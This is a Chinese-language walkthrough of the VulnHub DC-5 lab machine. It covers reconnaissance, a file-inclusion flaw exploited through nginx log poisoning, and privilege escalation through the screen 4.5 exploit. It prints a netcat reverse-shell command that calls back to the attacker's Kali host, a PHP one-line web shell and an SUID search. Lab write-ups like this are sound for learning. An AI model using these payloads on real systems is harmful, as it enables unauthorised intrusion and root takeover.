Kali ip:192.168.70.129
靶机ip:192.168.70.164
靶机下载地址:https://www.vulnhub.com/entry/dc-5,314/
靶机ip发现
nmap扫描

dirsearch扫描

Dirb扫描目录发现没什么点,在contact中有提交表单,试着修改几个数据,发现下面的年份是在不断变化的


在这里成功利用文件包含漏洞查看到一些敏感信息


下面使用文件包含漏洞,nmap扫描到为服务器是nginx,日志位置如下
错误日志 /var/log/nginx/error.log
访问日志 /var/log/nginx/access.log
访问错误日志,响应成功。

这里将文件路径都去掉,输入 php phpinfo(); ?>,目的就是让它报错,然后记录到error日志中去

提交后发现400错误,接着我们抓包,将路径改为
/thankyou.php?file=/var/log/nginx/error.log
发现phpinfo可以正常显示,没有出问题。

接着就可以使用nc来进行反弹shell,
file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.70.129 9999

使用nc对9999端口进行监听,成功接收到shell

也可以使用一句话木马进行连接
system($_GET['cmd']);?>

这里成功使用菜刀连接(我的蚁剑有点问题)

接下来在kali中进行演示。
使用python打开交互式窗口
python -c 'import pty;pty.spawn("/bin/bash")'
这里翻阅其他目录,发现没有什么可以利用的,也只有一个dc用户
先查看一下具有suid权限的命令。
find / -perm /4000 2>/dev/null查找具有suid权限的命令
等同于
find / -perm -u=s -type f 2>/dev/null

Screen简介:
GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。
GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。
漏洞利用,查找screen 4.5版本存在的漏洞,移动到桌面进行查看
cp /usr/share/exploitdb/exploits/linux/local/41154.sh .

根据脚本的意思,将这两段代码分别保存为libhax.c和rootshell.c,放在tmp目录下

然后使用代码下面对应的gcc命令,对文件进行编译,之后会生成两个新文件,如下图绿色的两个文件。

Sh脚本如下,需要在首行加上sh脚本的头部信息,一定要在Linux系统下对sh脚本进行编辑,在Windows会报错(no such file or dictionary)
如果是在Windows下进行编译的,那么需要使用vi再次打开上传好的脚本,使用 :set ff=unix 保存
链接:https://blog.csdn.net/ooooooobh/article/details/82766547
我刚开始在windows进行编辑,报错,之后在Linux编辑就会正常运行提权成功。

使用python进行传输文件

由于使用wget命令下载失败,室友的靶机运行正常,再次使用菜刀进行文件上传
(补:wget下载能连接成功但是不能下载是因为所在的目录不对,建议移动到tmp目录下进行操作,亲测可行)

之后再按照脚本下面的命令继续执行,将以下代码写为sh文件,放到靶机当中,chmod赋予权限后运行,即可提权
提权成功


总结:这篇靶机我觉得收获最大的就是文件包含漏洞的利用,使用文件包含漏洞进行报错,进而访问nginx的日志目录,进行shell的反弹,看大多数的博主也在利用蚁剑进行反弹利用,个人觉得这样挺好的,直接上传文件。